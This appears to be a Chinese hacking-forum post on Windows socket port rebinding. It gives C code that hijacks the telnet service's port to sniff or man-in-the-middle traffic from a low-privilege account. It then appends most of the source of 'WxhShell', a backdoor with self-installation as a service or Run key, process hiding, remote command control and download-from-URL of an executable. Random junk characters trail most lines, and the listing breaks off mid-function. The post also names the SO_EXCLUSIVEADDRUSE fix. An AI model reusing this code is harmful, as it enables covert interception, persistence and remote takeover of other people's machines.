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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 'q l<R0g  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); XoGOY|2`6  
= VMELk!z  
  saddr.sin_family = AF_INET; zN/nKj: Q  
AsR}qqG  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Wz;@Rl|F  
y 7z)lBy\  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k=9k4l  
2yVQqwQ m  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (V0KmNCW`  
9[h8Dy  
  这意味着什么?意味着可以进行如下的攻击: 6uxF<  
xW58B  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 SDjJ?K  
omI"xx  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) |{La@X  
`t+;[G>ZE  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 FBa- gm<9  
L$^)QxH7  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  _O&P!hI  
hHgH'  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0@&/W-VXg  
*vT Abk$   
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 G6s3 \de#U  
|Rz}bsrZ  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 #I#_gjJkx  
kb!W|l"PN  
  #include GN+!o($  
  #include /!U(/  
  #include \_7'f  
  #include    kArF Gb2c  
  DWORD WINAPI ClientThread(LPVOID lpParam);   L;fz7?_j  
  int main() =)J )xH!N  
  { rdH^"(  
  WORD wVersionRequested; 0Z{u;FI  
  DWORD ret; #4V->I  
  WSADATA wsaData; 7A{Z1[7  
  BOOL val; seb/rxb  
  SOCKADDR_IN saddr; HBA|NV3.  
  SOCKADDR_IN scaddr; V-18~+F~"a  
  int err; n!U1cB{  
  SOCKET s; <g64N  
  SOCKET sc; 79B+8= K  
  int caddsize; C|]Zpn#{K  
  HANDLE mt; lDVgW}o@  
  DWORD tid;   ,My'_"S?  
  wVersionRequested = MAKEWORD( 2, 2 );  p4P"U  
  err = WSAStartup( wVersionRequested, &wsaData ); f'Rq#b@  
  if ( err != 0 ) { CIz_v.&:  
  printf("error!WSAStartup failed!\n"); _p<wATv?7t  
  return -1; SVPksr  
  } 7wHd*{^9N  
  saddr.sin_family = AF_INET; P` y.3aK  
   {x~r$")c?  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 "ZuA._  
:wfN+g=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 10_>EY`  
  saddr.sin_port = htons(23); OX[r\  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) uEkGo5  
  { U"Y/PBs,  
  printf("error!socket failed!\n"); 'tt4"z2  
  return -1; n{=Ot^ ";  
  } \b#`Ahf`  
  val = TRUE; Th4}$)yrkN  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 7?8+h  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) =[0| qGzg  
  { #;h> x  
  printf("error!setsockopt failed!\n"); fn8|@)J  
  return -1; Q)5V3Q]@^  
  } 'fZ\uMdTx  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Gsy'':u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ^~s!*T)\  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6 kD.  
PR%n>a#  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) o bGvd6\  
  { $5DlCN  
  ret=GetLastError(); fFXnD  
  printf("error!bind failed!\n"); 9&s>RJ  
  return -1; gCbS$Pw  
  } 6Q_ZP#oAV  
  listen(s,2); &td   
  while(1) f67t.6Vw2+  
  { -}RGz_LO/  
  caddsize = sizeof(scaddr); "O_)~u  
  //接受连接请求 ak{XLzn  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3~Ll<8fv  
  if(sc!=INVALID_SOCKET) ~DS.b-E  
  { z7pw~Tqlz  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); QE721y   
  if(mt==NULL) k{bC3)'$#R  
  { 0XI6gPo%  
  printf("Thread Creat Failed!\n"); K*M1$@5  
  break; wWM[Hus  
  } /$9We8  
  } (^58$IW71  
  CloseHandle(mt); N9~'\O$'7  
  } x#hSN|'"  
  closesocket(s); !Oi':OQG  
  WSACleanup(); NMzq10M=6  
  return 0; /)sP<WPQ 6  
  }   +]Ev  
  DWORD WINAPI ClientThread(LPVOID lpParam) sAnb   
  { s%G%s,d  
  SOCKET ss = (SOCKET)lpParam; &d]@$4u$;  
  SOCKET sc; V?~!Dp  
  unsigned char buf[4096]; cGlpJ)'-{  
  SOCKADDR_IN saddr; |gU)6}V@  
  long num; CD4@0Z+  
  DWORD val; EtQ:x$S_  
  DWORD ret; L0Ajj=  
  //如果是隐藏端口应用的话,可以在此处加一些判断 3Te&w9K  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   :es=T`("A8  
  saddr.sin_family = AF_INET; Cv;#8Wj}  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); li0)<("/  
  saddr.sin_port = htons(23); t >Rh  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) n*9nzx#q  
  { Y/ %XkDC~  
  printf("error!socket failed!\n"); 7tne/Yz  
  return -1; szD9z{9"y  
  } Hx n#vAc  
  val = 100; !t?5U_on  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) |O;vWn'U2  
  { R: [#OH.c  
  ret = GetLastError(); H#G3CD2&  
  return -1; N$u: !  
  } 6#ktw)e  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) UK)wV  
  { x+v&3YF  
  ret = GetLastError(); [kMWsiZ  
  return -1; )_}xK={  
  } f/"IC;<~t>  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 7Dw. 9EQ  
  { h<qi[d4X  
  printf("error!socket connect failed!\n"); %AA -G  
  closesocket(sc); +}eK8>2  
  closesocket(ss); c=aZ[  
  return -1;  )|W6Z  
  } ): fu]s"  
  while(1) <v?2p{U%  
  { S|?P#.=GX  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 7cO1(yE#vr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 {7` 1m!R  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 *\*]:BIe&v  
  num = recv(ss,buf,4096,0); `/<f([w  
  if(num>0) }0]iS8*tL  
  send(sc,buf,num,0); 8Nx fYA  
  else if(num==0) ]$Q@4=fb  
  break; P G zwS  
  num = recv(sc,buf,4096,0); 2>f3n W  
  if(num>0) W*/2x8$d  
  send(ss,buf,num,0); aO 2zD<d  
  else if(num==0) )k]{FM  
  break; I1JL`\;4  
  } E:[!)UG|y  
  closesocket(ss); !e+Sa{X  
  closesocket(sc); 5?|y%YH;R\  
  return 0 ; %v UUx+  
  } tH:?aP*2  
|nU%H=Rs/  
t{`uN  
========================================================== zoBp02j  
VBW][f  
下边附上一个代码,,WXhSHELL -b34Wz(  
!j3Xzn9  
========================================================== )JU`Z @?8  
rS+ >oP}  
#include "stdafx.h" olm'_ {{  
'a$/ !~X  
#include <stdio.h> C~PP}|<~V  
#include <string.h> %&J`mq  
#include <windows.h> #%{  
#include <winsock2.h> _>^Y0C[?5  
#include <winsvc.h> BM5)SgK  
#include <urlmon.h> ~+PKWs'}F  
oG-Eac,  
#pragma comment (lib, "Ws2_32.lib") pp2 Jy{\d  
#pragma comment (lib, "urlmon.lib") rddn"~lm1  
2}_^~8  
#define MAX_USER   100 // 最大客户端连接数 M7#CMLy  
#define BUF_SOCK   200 // sock buffer 6=x]20  
#define KEY_BUFF   255 // 输入 buffer e}s,WC2-  
ony;U#^T  
#define REBOOT     0   // 重启 pP%+@;  
#define SHUTDOWN   1   // 关机 g_eR&kuh  
X>Z83qV5d!  
#define DEF_PORT   5000 // 监听端口 Y5*A,piq  
$4kbOqn4  
#define REG_LEN     16   // 注册表键长度 dvglh?7d  
#define SVC_LEN     80   // NT服务名长度 !:~C/B{  
'1zC|:,  
// 从dll定义API }:*?w>=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); SN`L@/I  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); |T-Y tuy8  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }S%}%1pG7  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); m"o=R\C  
Mb97S]878I  
// wxhshell配置信息 cca]@Ox]  
struct WSCFG { }IQ![T5  
  int ws_port;         // 监听端口  [geT u  
  char ws_passstr[REG_LEN]; // 口令 0|{":i_s  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1uz K(j8w  
  char ws_regname[REG_LEN]; // 注册表键名 ncpA\E;ff^  
  char ws_svcname[REG_LEN]; // 服务名 T,B%iZgCh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 iphdJZ/f  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )P|/<>z  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Q[lkhx|.B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no &m{~4]qWpM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" I,V'J|=j  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 bHzZ4i  
[3qJUJM  
}; ;cb='s  
[?da BXS  
// default Wxhshell configuration :ra[e(l9  
struct WSCFG wscfg={DEF_PORT, [p )2!]y  
    "xuhuanlingzhe", MW0CqMi]T  
    1, 7e{w,.ny!  
    "Wxhshell", 1M[|9nWUC  
    "Wxhshell", YP{mzGdE&  
            "WxhShell Service", 7j"B-k#  
    "Wrsky Windows CmdShell Service", fUJe{C<H  
    "Please Input Your Password: ", 5!6}g<z&L  
  1, Mi`t$hmP  
  "http://www.wrsky.com/wxhshell.exe", _HAr0R8BY  
  "Wxhshell.exe" Ae<;b Of  
    }; g}vU*g ;  
{s?hXB  
// 消息定义模块 HBw0 N?  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }~#qDrK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7/\SN04l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; / $'M  
char *msg_ws_ext="\n\rExit."; PG'I7)Bv  
char *msg_ws_end="\n\rQuit."; M F$NcU  
char *msg_ws_boot="\n\rReboot..."; P[e#j  
char *msg_ws_poff="\n\rShutdown..."; /FcwsD\=$  
char *msg_ws_down="\n\rSave to "; @2\UjEo~  
">nFzg?Y  
char *msg_ws_err="\n\rErr!"; 0JhUncx  
char *msg_ws_ok="\n\rOK!"; If|i `,Iy  
U"Z %_[*  
char ExeFile[MAX_PATH]; ! n?j)p.  
int nUser = 0; prxmDI   
HANDLE handles[MAX_USER]; k7z{q/]M  
int OsIsNt; |8\et  
Q}#H|@  
SERVICE_STATUS       serviceStatus; +:z%#D  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i^/ H>E%u  
[U{RDX  
// 函数声明 aQ)g7C  
int Install(void); ~>}7+p ?;  
int Uninstall(void); Ll^9,G"Tt  
int DownloadFile(char *sURL, SOCKET wsh); B_%O6  
int Boot(int flag); dw7h@9\ y  
void HideProc(void); k59.O~0V  
int GetOsVer(void); 6<UI%X  
int Wxhshell(SOCKET wsl); IZ]L.0,  
void TalkWithClient(void *cs); d UiS0Qs}  
int CmdShell(SOCKET sock); fy!,cK};  
int StartFromService(void); ^ X<ytOd5  
int StartWxhshell(LPSTR lpCmdLine); o5NrDDH  
E8We2T[^M  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); VF9-&HuC  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ||4++84{  
y(Q.uYz*  
// 数据结构和表定义 3<6P^p=I  
SERVICE_TABLE_ENTRY DispatchTable[] = (' i_Xe  
{ n\YWWW[wf  
{wscfg.ws_svcname, NTServiceMain}, ;] #Q!  
{NULL, NULL} N37#V s  
}; 8V:yOq10  
0y#TGM|0D  
// 自我安装 !|#1z}(  
int Install(void) H, O_l%  
{ kC+dQ&@g{  
  char svExeFile[MAX_PATH]; /A`Ly p#  
  HKEY key; YZp]vlm~  
  strcpy(svExeFile,ExeFile); N)$yBzN  
$EuI2.o  
// 如果是win9x系统,修改注册表设为自启动 7me1 :}4  
if(!OsIsNt) { R<1[hH9"o  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { /?:]f  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); p5=VGKp  
  RegCloseKey(key); \"A~ks~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'gz@UE1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @nF#\  
  RegCloseKey(key); _ "[O=h:  
  return 0; ]F,v#6qi  
    } LD}ZuCp!  
  } O.P:~  
} LpSd/_^b  
else { %:.00F([r  
SyR[G*djl  
// 如果是NT以上系统,安装为系统服务 $RV'DQO  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -ID!kZx  
if (schSCManager!=0) D,'@b+B[  
{ C Eb .?B  
  SC_HANDLE schService = CreateService O7T wM Yh  
  ( Q,xKi|$r  
  schSCManager, ehls:)F  
  wscfg.ws_svcname, )Y,>cg:z~  
  wscfg.ws_svcdisp, y]E ?\03"  
  SERVICE_ALL_ACCESS, ,0[h`FN  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , LgS.%Mn  
  SERVICE_AUTO_START, 7~ok*yGw  
  SERVICE_ERROR_NORMAL, `=~d^wKYJ3  
  svExeFile, \9dC z;  
  NULL, 9#niMv9  
  NULL, }!RFX)T  
  NULL, gkNvvuQXc  
  NULL, $+ ?A[{JG  
  NULL eVbaxL!Q^  
  ); X2p9KC  
  if (schService!=0) rgg3{bU/  
  { l=< :  
  CloseServiceHandle(schService); > 9wEx[  
  CloseServiceHandle(schSCManager); KcX] g*wy  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); @~<M_63  
  strcat(svExeFile,wscfg.ws_svcname); cLe659&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { vZpt}u  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); W%RjjL J@  
  RegCloseKey(key); {sL(PS.z  
  return 0; slMWk;fmD}  
    } `ynD-_fTN  
  } ?I.<mdhN#t  
  CloseServiceHandle(schSCManager); ,~- dZs  
} skP2IMa75  
} !B{N:?r  
CEos`  
return 1; KBo/GBD]|  
} nr<&j#!L  
p<3^= 8Y$  
// 自我卸载 j5;eSL@ /  
int Uninstall(void) K"r'w8  P  
{ S_B;m1  
  HKEY key; htGk:  
kyc Z  
if(!OsIsNt) { f ^f{tOX  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { n.$wW =  
  RegDeleteValue(key,wscfg.ws_regname); T!N,1"r  
  RegCloseKey(key); nAJ<@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { t`X-jr)g  
  RegDeleteValue(key,wscfg.ws_regname); lvz&7Zb  
  RegCloseKey(key); 7:t *&$  
  return 0; <t0o{}^P*  
  } ye)CfP=ID\  
} 85 tQHm6j  
} %maLo RJ  
else { ;yO7!{_  
4X2/n  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~Xg@,?Zr  
if (schSCManager!=0) Yg6 f  
{ g2WDa'{L  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); TY3WP$u  
  if (schService!=0) I)Dd"I  
  { L.z`>1  
  if(DeleteService(schService)!=0) { ,#42ebGHR  
  CloseServiceHandle(schService); ~cSOni`  
  CloseServiceHandle(schSCManager); $z~sN  
  return 0; f|1GlUA{t  
  } ;Qc_Tf=,  
  CloseServiceHandle(schService); =MqefV;-  
  } RvF6bIqo  
  CloseServiceHandle(schSCManager); J34lu{'if  
}  CKv [E  
} 8*^Q#;^~99  
F? kW{,*  
return 1; |8b*BnS  
} #eT{?_wM  
&Q[Y&vNn  
// 从指定url下载文件 MKYXYR  
int DownloadFile(char *sURL, SOCKET wsh) DM%4 V|F"  
{ PZRm.vC)k  
  HRESULT hr; %<q l  
char seps[]= "/"; gekW&tRie  
char *token; b"y][5VE  
char *file; =M'y& iz-  
char myURL[MAX_PATH];  ajayj|h  
char myFILE[MAX_PATH]; ttPa[h{!  
mzz77i  
strcpy(myURL,sURL); Y,kTk  
  token=strtok(myURL,seps); 8qfg=mu+ %  
  while(token!=NULL) ZgL4$%  
  { MeqW/!72$L  
    file=token; Fa$ pr`  
  token=strtok(NULL,seps); qsUlfv9L6  
  } 7  Znr2I  
\KmjA )(  
GetCurrentDirectory(MAX_PATH,myFILE); D^Bd>Ey4  
strcat(myFILE, "\\"); R)"Y 40nW  
strcat(myFILE, file); p-zWfXn!P  
  send(wsh,myFILE,strlen(myFILE),0); )IGE2k|  
send(wsh,"...",3,0); XU Hu=2F  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (DCC4%w"  
  if(hr==S_OK) ?3"bu$@8  
return 0; aU3 m{pE  
else 9Kw4K#IqQ  
return 1; -So&?3,\A@  
'~3a(1@8  
} :cmfy6h]  
8Vj]whE  
// 系统电源模块 h*f=  
int Boot(int flag) -bK#&o,  
{ xr) Rx{)3h  
  HANDLE hToken; t,;1?W#  
  TOKEN_PRIVILEGES tkp; vIrLG1EK  
C G~ )`  
  if(OsIsNt) { /I3#WUc;![  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); MC!K7ji  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4Wq{ch  
    tkp.PrivilegeCount = 1; `Njv#K} U  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  '._8  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Yz0ruhEMk  
if(flag==REBOOT) { !Re/W ykY  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ,>n 4 `A  
  return 0; z)'dDM D"  
} hSc$Sa8  
else { b<qv /t)$  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ysfR@ sH7  
  return 0; W xyQA:3s  
} t i)foam  
  } e*e}X&|(g  
  else { 2Av3.u8%u  
if(flag==REBOOT) { `Y-uNJ'.N  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /_?E0 r  
  return 0; >A|6 kzC  
} h3D8eR.  
else { *Wv]DV=\  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ,8g~,tMr+  
  return 0; XB-pOtVm  
} zPU& }7  
} e@s+]a8D-k  
6I(y`pJ  
return 1; wHk4BWg-  
} 2f>lgZ!  
^u#!Yo.!(  
// win9x进程隐藏模块 TSmuNCR  
void HideProc(void) eP-q[U?$n  
{ -c!{';Zn  
8w~I(2S:#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~zFs/(k  
  if ( hKernel != NULL ) !'Xk=+  
  { zr?%k]A%UO  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vbmSbZ"y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); fR}|CP  
    FreeLibrary(hKernel); .e5GJAW~9  
  } ;"\e aKl  
59 O;`y0  
return; WEUr;f  
} |Sy |E  
g>x2[//pk  
// 获取操作系统版本 H1f){L97wR  
int GetOsVer(void) /] ce?PPC  
{ _CP e  
  OSVERSIONINFO winfo; "-kb=fY  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);  Z $Ynar  
  GetVersionEx(&winfo); Y4}!9x  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) D{h1"q  
  return 1; T{bM/?g  
  else ;Yyg(Ex  
  return 0; Rk56H  
} f .rz2)o  
cu]2`DF  
// 客户端句柄模块 eb2~$ ,$  
int Wxhshell(SOCKET wsl) *@l NL=%R  
{ M~;mamTP  
  SOCKET wsh; ZebXcT ,41  
  struct sockaddr_in client; 9k ]$MR  
  DWORD myID; 4QdY"s( n  
iCao;Zb  
  while(nUser<MAX_USER) C',D"  
{ m>$+sMZE  
  int nSize=sizeof(client); ,:G.V  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3k5OYUk  
  if(wsh==INVALID_SOCKET) return 1; "8J$7g@n@  
 |X`xJL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); :#"gQ^YNp  
if(handles[nUser]==0) /}r%DND'  
  closesocket(wsh); \y{Bnp5h  
else s%>>E!Qi_  
  nUser++; T.GY  
  } M5HKRLt  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gzvEy^X  
\i}n1Qd  
  return 0; P49lE  
} ~!&WK,k6  
]]Ypi=<'  
// 关闭 socket aG8}R~wH&  
void CloseIt(SOCKET wsh) 3Tg  
{ 6gJy<a3  
closesocket(wsh); tfvX0J  
nUser--; 3/>McZ@OH  
ExitThread(0); Byyus[b'A  
} -7*,}xV  
nZhL  
// 客户端请求句柄 FJKt5}`8  
void TalkWithClient(void *cs) o8BbSZVu  
{ "2)<'4q5)  
RtGETiA\b  
  SOCKET wsh=(SOCKET)cs; 'N)&;ADx-G  
  char pwd[SVC_LEN]; cfMj^*I  
  char cmd[KEY_BUFF]; uI@:\Rss  
char chr[1]; FEw51a+V  
int i,j; _+N*4  
Ku*@4#<L6h  
  while (nUser < MAX_USER) { ! ]&a/$U  
aJ88U69  
if(wscfg.ws_passstr) { muo(bR8  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bdk"7N  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); vUR{!`14  
  //ZeroMemory(pwd,KEY_BUFF); ^q_0(Vf  
      i=0; 5Az=)q4Q  
  while(i<SVC_LEN) { <33[qt~  
^E8&!s  
  // 设置超时 oU% rP  
  fd_set FdRead; &OK(6o2m;  
  struct timeval TimeOut; X{P_HCd  
  FD_ZERO(&FdRead); ez&v"J  
  FD_SET(wsh,&FdRead); Kjc"K36{L  
  TimeOut.tv_sec=8; \$T  
  TimeOut.tv_usec=0; )t9<cJ=  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 2PE|4zG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oh-Y  
8n?qm96  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kih;'>H<  
  pwd=chr[0]; {3lsDU4  
  if(chr[0]==0xd || chr[0]==0xa) { $GNN* WmHw  
  pwd=0; ~dC)EG  
  break; {=PO`1H  
  } )&+j#:  
  i++; UGj!I  
    } ZK1d3  
kjfZ*V=-  
  // 如果是非法用户,关闭 socket 2aX|E4F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Jm0P~E[n  
} 9TBkVbqV  
S=~[6;G  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); h^D? G2O  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mg W0 ).  
(BEGt '7  
while(1) { O&V}T#8n  
G`9Ud  
  ZeroMemory(cmd,KEY_BUFF); *?Nrx=O*  
MzL^u8  
      // 自动支持客户端 telnet标准   |)* K#%j  
  j=0; f)l:^/WP+  
  while(j<KEY_BUFF) { w&hgJ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Q4Zuz)r*  
  cmd[j]=chr[0]; @AaM]?=P{  
  if(chr[0]==0xa || chr[0]==0xd) { d }=fJ  
  cmd[j]=0; *%7[{Loz  
  break;  gPh;  
  } "}!|V)K  
  j++; sI7d?+  
    } I?uU }NK  
%%)"W n#`  
  // 下载文件 >0DQ<@ot:  
  if(strstr(cmd,"http://")) { t,#7F$t  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I'HPy.PV  
  if(DownloadFile(cmd,wsh)) Zy|B~.@<j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); D+P(  
  else F{0Z  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BaZ$pO^  
  } 'FgBYy/  
  else { _t|| v  
8om6wALXB  
    switch(cmd[0]) { 7n9&@D3 :P  
  ,dhJ\cQ~  
  // 帮助 Bha#=>4FU  
  case '?': { '#!nK O2<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); K'%2'd  
    break; zsFzF`[k  
  } xHq"1Vs=  
  // 安装 }(A`aB_  
  case 'i': { y G)xsY V  
    if(Install()) r/}q=J.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  <K;  
    else C]414Ibi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *`Swv`  
    break; c.dk4v%Y5  
    } :7UC=GKQk  
  // 卸载 WvR-0>E  
  case 'r': { \(2w/~  
    if(Uninstall()) I{tY;b'w  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `-fWNHs  
    else ;$,=VB:'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [~*5uSG  
    break; p.6C.2q~s]  
    } -} Zck1  
  // 显示 wxhshell 所在路径 _HF66)X7  
  case 'p': { |a4cER.'2^  
    char svExeFile[MAX_PATH]; CX?q%o2b  
    strcpy(svExeFile,"\n\r"); 3 9to5 s,  
      strcat(svExeFile,ExeFile); .Ds d Q4Y  
        send(wsh,svExeFile,strlen(svExeFile),0); 1/+d@s#t  
    break; ~k\Dde  
    } }A jE- K{  
  // 重启 vz5x{W  
  case 'b': { p[R4!if2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q,R>dkS  
    if(Boot(REBOOT)) E@ J/_l;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M2H +1ic  
    else { (StX1g'  
    closesocket(wsh); OL]P(HRm]~  
    ExitThread(0); EQI9 J#;+  
    } h ` qlI1]  
    break; fh_+M"Y0`  
    } \c}_!.xj"  
  // 关机 N8x[8Rp  
  case 'd': { k%uR!cL  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); xfoQx_]$Im  
    if(Boot(SHUTDOWN)) F-AU'o *  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); scX'>\w&c  
